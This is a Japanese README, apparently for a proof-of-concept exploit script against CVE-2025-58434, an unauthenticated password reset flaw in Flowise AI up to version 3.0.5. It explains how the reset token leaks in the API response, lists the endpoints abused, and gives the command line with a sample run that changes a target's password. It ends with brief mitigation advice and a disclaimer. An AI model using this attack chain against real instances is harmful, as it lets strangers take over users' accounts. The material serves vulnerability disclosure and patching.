
Flowise AI ≤ 3.0.5 向けの認証不要パスワードリセットエクスプロイト。/api/v1/account/forgot-password エンドポイントを悪用し、事前認証なしで任意のユーザーのパスワードを変更します。概念実証(PoC)スクリプトと緩和策ガイドラインを含みます。
CVE ID: CVE-2025-58434
影響を受けるソフトウェア: Flowise AI
影響を受けるバージョン: <= 3.0.5
修正バージョン: 3.0.6 以降
深刻度: Critical
作者: r3nsi15
日付: 2025
Flowise AI バージョン 3.0.5 以前には、パスワードリセットフローにおける認証の欠陥があります。/api/v1/account/forgot-password エンドポイントは、事前の認証やメール検証を一切必要とせずに、一時的なリセットトークン(tempToken)をAPIレスポンスに直接返します。
有効なメールアドレスを知っている(または列挙できる)未認証の攻撃者は、以下のことが可能です:
tempToken を抽出する。この脆弱性は、トークンがアカウント所有者のメール受信箱にのみ送信されるのではなく、HTTPレスポンス内で漏えいするため、意図されたメールベースの検証フローを完全にバイパスします。
| エンドポイント | メソッド | 目的 |
|---|
/api/v1/auth/login | POST | メールアカウントが存在するかどうかを確認するために使用 |
/api/v1/account/forgot-password | POST | リセットをトリガーし、レスポンス内で tempToken を漏えいさせる |
/api/v1/account/reset-password | POST | トークンを使用してパスワード変更を完了する |
ファイル: CVE-2025-58434_POC.py
requests ライブラリpip install requests
python3 CVE-2025-58434_POC.py -e <target_email> -u <target_url> [-p <new_password>]
| フラグ | ロングフォーム | 必須 | 説明 |
|---|---|---|---|
-e | --email | はい | 対象アカウントのメールアドレス |
-u | --url | はい | Flowise インスタンスのベースURL |
-p | --password | いいえ | 設定する新しいパスワード(デフォルトは password) |
python3 CVE-2025-58434_POC.py -e [email protected] -u https://flowise.example.com -p P@ssw0rd!
[+] Email [email protected] exists!
[!] Sending forgot password request
[!] Sending reset password request
[+] Password Changed Successfully to: P@ssw0rd!
パスワードリセットAPIは、tempToken をユーザーのメールに送信するように設計されていましたが、サーバーはそれをJSONレスポンス本文にも直接含めていました。つまり、認証済みかどうかに関係なく、あらゆる呼び出し元がリクエストを行うとすぐにトークンを受け取るため、メール送信のステップは意味をなさなくなります。
さらに、ログインエンドポイントがメールアドレスが存在する場合にのみ異なるエラーメッセージ("Incorrect Email or Password")を返すため、メールアドレスの列挙が可能になり、攻撃を開始する前に有効なアカウントを確認することが簡単になります。
tempToken が登録済みのメールアドレスのみを介して送信されるようにしてください。この概念実証は、教育および許可されたセキュリティ研究目的のみで提供されます。明示的な書面による許可なしにこのスクリプトをシステムに対して使用することは、違法かつ非倫理的です。作者および貢献者は、不正使用に対する一切の責任を負いません。